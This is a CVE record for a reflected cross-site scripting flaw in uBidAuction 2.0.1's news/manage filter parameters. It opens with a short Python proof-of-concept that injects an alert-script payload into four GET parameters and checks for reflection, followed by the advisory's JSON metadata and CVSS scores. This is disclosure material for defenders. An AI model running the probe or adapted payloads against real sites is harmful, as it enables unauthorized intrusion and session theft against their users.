CVE-2022-50966

import requests # Target URL (replace with actual target) target_url = "http://example.com/news/manage" # Malicious XSS payload # Using a simple script tag to verify execution payload = "<script>alert('CVE-2022-50966_XSS');</script>" # Vulnerable parameters identified in the advisory vulnerable_params = ["date_created", "date_from", "date_to", "created_at"] for param in vulnerable_params: # Craft the malicious URL params = {param: payload} try: # Send GET request response = requests.get(target_url, params=params, timeout=5) # Check if payload is reflected in the response body if payload in response.text: print(f"[+] Potential XSS found via parameter: {param}") print(f"[+] Exploit URL: {response.url}") else: print(f"[-] Payload not reflected via parameter: {param}") except requests.exceptions.RequestException as e: print(f"Error connecting to target: {e}")

{"cve": {"id": "CVE-2022-50966", "sourceIdentifier": "[email protected]", "published": "2026-05-10T13:16:34.487", "lastModified": "2026-05-12T14:24:15.210", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "uBidAuction 2.0.1 contains a reflected cross-site scripting vulnerability in the news/manage module. The date_created, date_from, date_to, and created_at parameters in the filter functionality are not properly sanitized, allowing remote attackers to inject malicious scripts via crafted GET requests that execute in victims' browsers."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://www.apphp.com/codemarket/items/48/ubidauction-php-classic-and-bid-auctions-script", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/50693", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/ubidauction-news-manage-reflected-xss", "source": "[email protected]"}, {"url": "https://www.vulnerability-lab.com/get_content.php?id=2289", "source": "[email protected]"}]}}